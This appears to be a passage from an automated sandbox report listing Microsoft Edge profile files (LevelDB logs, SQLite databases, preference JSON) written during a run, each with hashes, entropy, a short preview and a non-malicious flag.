Preview:	2025/02/01-10:53:51.058 1398 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/01-10:53:51.059 1398 Recovering log #3.2025/02/01-10:53:51.059 1398 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2681164420879125
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMUSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0JU91LyKOMq+8iP5GLP/0H
MD5:	B2C2921064F77161A6FFF87851CB93FD
SHA1:	96BF51591449A7D5E958921CD1448D3DDDB9AE9D
SHA-256:	30EF5122E61A94EBA723B722BEFD75324520ED0F596D932869905E44547EA687
SHA-512:	A463BE8847B24E4B59209AA2A37A8E09C987B7EFCCDA86DD61B05AAA4A505B089FFE757D5341FAF43EB4E5B129D37658797500BF434FCE9BE3F8D3F91A599810
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4664082884622467
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBjHy:v7doKsKuKZKlZNmu46yjxu
MD5:	4BF6B6D2949C86B435E887FB82402280
SHA1:	7380BB40DFF859F814EF08F168259A53FE7126EB
SHA-256:	20426D84393E9880DA7295EC061B1659B638CC0B7C68C11BC6B78A4B437F6D3F
SHA-512:	EA0ABB46D06FBE7FD60EE2D7CBDE47EF6E9B29321552C164DDA7DBA55E2051296053E9E372A0844523D97023DC3F3C5CEE9863EE6434448425EB648B18C2474D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d5256df1-6a7d-4974-8404-a3542e3f36da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13508
Entropy (8bit):	5.21806595088357
Encrypted:	false
SSDEEP:	192:stVJ99QTryDigabatSuypTs6M8aFvrE9kJMYhs8nbV+FIYQwzJULPcYJ:stVPGKSu4Ts6M8CDxbG3QwWp
MD5:	34C522CC91115A122B120AEE04B4C451
SHA1:	5E6E79C816D28251B97E2C542AF3AE1A115B3D91
SHA-256:	E6B3B837EB26B920F42C51469A28135F6728AB04A6639A1A750CF14AA11A89D0
SHA-512:	5A2BA76B903B7E94D59210A229ED624C8801097F1039E14CFB6EAFEDFDFD79DB86608225326D5D39A7FDB1B7CDE3D1739021FADB8DD6AE66F6B7F85CC7796A01
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382898831366543","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e6956e23-7b05-4a10-a08c-a0e871fa726c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10920502626328575
Encrypted:	false
SSDEEP:	12:0IDzINLpEjVl/PnnnnnnnnnnnnnvoQrEo8VF4D:0oAoPnnnnnnnnnnnnnvBjpD
MD5:	2DE71B0EDD9A90A45C72B2D36F7352C0
SHA1:	42DCB77215D32298690067D7CA23F938AA0DDF43
SHA-256:	2D1440ACC58D61A0F1873AC13C9BB4407110712DF58F4BFC30639E1C68196935
SHA-512:	889BD85B245BA77CD183F8720317DAC57F6BD1F3569D304EDD0C117D99079EF26E913A0FA81A57257DD0E9744BB035B6253EB489219756D62DAA76FD170C81ED
Malicious:	false
Preview:	..-.............U........A....:s$J...V..DW7.......-.............U........A....:s$J...V..DW7.............Q...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	350232
Entropy (8bit):	0.9800990496805838
Encrypted:	false
SSDEEP:	384:MAar659OrwNRLrjNd0uDgE08oqy8wcA+8IJy5yyBy2ymAy6xyaa:a2pQ
MD5:	D3B77E570399608A14B9EE9F9D0C4CE0
SHA1:	AE5DDDFB6E35A53C7E4D0A7A0DF29251333CD020
SHA-256:	58B5D78CC2C9DF709B4C0F51D48C634A6E5E0541D8C0DB99F82A0FB006C91176
SHA-512:	1401B4439505791FACA0EDB48657AD4B8167E620424A87B99991CB4DB612406DD71941B15DD5257853BC01950ACF1AA07CD17A75077EE06EC1AFFEAA27ACD5C6
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5581143400534216
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuClllmiE8U:pHay4llmb
MD5:	74A912F6698DB41ACEB7DB7FF524CF25
SHA1:	63E329702B3536198FC4F69FBB50210D1944767E
SHA-256:	9E7400D52DFBE2DF615E3D155A696E1201550F0BF222E2B33F60AEFCAC700ADC
SHA-512:	910B080F0D7CB27F89E6D3184D03FCD96B91E21211AFFEBDCBC356EB1184A68A2F2BC713CFAA3FD82F1E3D163A3FBC8BEBCE8D350BAD01852427C605219F913E
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................KIK;...............#38_h.......6.Z..W.F........................V.e................V.e...................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.130036054156813
Encrypted:	false
SSDEEP:	6:iOXAsWF8QL+q2PN723oH+TcwtfrK+IFUtFAsWF8GKWZmw7AsWF8QLVkwON723oHK:7wsC8Q+vVaYeb23FUtusC8GKW/csC8Q9
MD5:	E43E444DD9A7A420DAA80EDEECA391A2
SHA1:	2DE4A1DEF4555B5D5572793D8CA73E3961C5F35E
SHA-256:	3D4721C2F636154DECA5F67A21E1C455F4071D5F34D286E54D7CA71AC61DDF9A
SHA-512:	94400CDE0EC7C806B839245A7DB6A63880D2B8A840A13979E725E26B32A277DDA1FDA219E7B3E104B4DAFC3BE1C31D578C2C7596269043DFA0368EFE1E89A884
Malicious:	false
Preview:	2025/02/01-10:53:51.393 15ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/01-10:53:51.393 15ec Recovering log #3.2025/02/01-10:53:51.393 15ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.130036054156813
Encrypted:	false
SSDEEP:	6:iOXAsWF8QL+q2PN723oH+TcwtfrK+IFUtFAsWF8GKWZmw7AsWF8QLVkwON723oHK:7wsC8Q+vVaYeb23FUtusC8GKW/csC8Q9
MD5:	E43E444DD9A7A420DAA80EDEECA391A2
SHA1:	2DE4A1DEF4555B5D5572793D8CA73E3961C5F35E
SHA-256:	3D4721C2F636154DECA5F67A21E1C455F4071D5F34D286E54D7CA71AC61DDF9A
SHA-512:	94400CDE0EC7C806B839245A7DB6A63880D2B8A840A13979E725E26B32A277DDA1FDA219E7B3E104B4DAFC3BE1C31D578C2C7596269043DFA0368EFE1E89A884
Malicious:	false
Preview:	2025/02/01-10:53:51.393 15ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/01-10:53:51.393 15ec Recovering log #3.2025/02/01-10:53:51.393 15ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.153941491082316
Encrypted:	false
SSDEEP:	6:iOXAd4q2PN723oH+TcwtfrzAdIFUtFAsyNJZmw7AsyNDkwON723oH+TcwtfrzILJ:7wd4vVaYeb9FUtuswJ/cswD5OaYeb2J
MD5:	B39541931BD62D999ABA5592AF1D7BB6
SHA1:	3DD0876334F3A327534B2B7E6173870BEAC7D69C
SHA-256:	46849AF6BBE5EEB845A8B77BD9730E4AF7D266B08E9DFCC1D37DD3DD23165401
SHA-512:	5584293FEA62FBE78C41D1F387D63406B54FD7861068A65C0895E816863AB7CE47383B79F0FCD4E55B31463F36EA5955008856B268AF789CF285AFC0E6CBC8C2
Malicious:	false
Preview:	2025/02/01-10:53:51.389 18b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/01-10:53:51.390 18b0 Recovering log #3.2025/02/01-10:53:51.390 18b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.153941491082316
Encrypted:	false
SSDEEP:	6:iOXAd4q2PN723oH+TcwtfrzAdIFUtFAsyNJZmw7AsyNDkwON723oH+TcwtfrzILJ:7wd4vVaYeb9FUtuswJ/cswD5OaYeb2J
MD5:	B39541931BD62D999ABA5592AF1D7BB6
SHA1:	3DD0876334F3A327534B2B7E6173870BEAC7D69C
SHA-256:	46849AF6BBE5EEB845A8B77BD9730E4AF7D266B08E9DFCC1D37DD3DD23165401
SHA-512:	5584293FEA62FBE78C41D1F387D63406B54FD7861068A65C0895E816863AB7CE47383B79F0FCD4E55B31463F36EA5955008856B268AF789CF285AFC0E6CBC8C2
Malicious:	false
Preview:	2025/02/01-10:53:51.389 18b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/01-10:53:51.390 18b0 Recovering log #3.2025/02/01-10:53:51.390 18b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089806128014725
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWUdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEHkzItSmd6qE7lFoC
MD5:	7A2C8EBFF28F35CE01C51F8BF937C901
SHA1:	B73346782911B36A870F24E4C2245AAC4A56DB35
SHA-256:	9F0FF3168D0533C9F105230215A30C5E711B71384B11BFF11F5E9CAF7BDB4F46
SHA-512:	25C4B0DFF7D10B137924D31CEB786FA76418C39C83AA415A71EEE104D976596030AAD7C96548C63FF0589FBAADE33B56B43A31B65D6E3E5C0EBC4F0E9DD777CA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF424f9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089806128014725
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWUdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEHkzItSmd6qE7lFoC
MD5:	7A2C8EBFF28F35CE01C51F8BF937C901
SHA1:	B73346782911B36A870F24E4C2245AAC4A56DB35
SHA-256:	9F0FF3168D0533C9F105230215A30C5E711B71384B11BFF11F5E9CAF7BDB4F46
SHA-512:	25C4B0DFF7D10B137924D31CEB786FA76418C39C83AA415A71EEE104D976596030AAD7C96548C63FF0589FBAADE33B56B43A31B65D6E3E5C0EBC4F0E9DD777CA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42566.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089806128014725
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWUdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEHkzItSmd6qE7lFoC
MD5:	7A2C8EBFF28F35CE01C51F8BF937C901
SHA1:	B73346782911B36A870F24E4C2245AAC4A56DB35
SHA-256:	9F0FF3168D0533C9F105230215A30C5E711B71384B11BFF11F5E9CAF7BDB4F46
SHA-512:	25C4B0DFF7D10B137924D31CEB786FA76418C39C83AA415A71EEE104D976596030AAD7C96548C63FF0589FBAADE33B56B43A31B65D6E3E5C0EBC4F0E9DD777CA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF426ed.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089806128014725
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWUdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEHkzItSmd6qE7lFoC
MD5:	7A2C8EBFF28F35CE01C51F8BF937C901
SHA1:	B73346782911B36A870F24E4C2245AAC4A56DB35
SHA-256:	9F0FF3168D0533C9F105230215A30C5E711B71384B11BFF11F5E9CAF7BDB4F46
SHA-512:	25C4B0DFF7D10B137924D31CEB786FA76418C39C83AA415A71EEE104D976596030AAD7C96548C63FF0589FBAADE33B56B43A31B65D6E3E5C0EBC4F0E9DD777CA
Malicious:	false
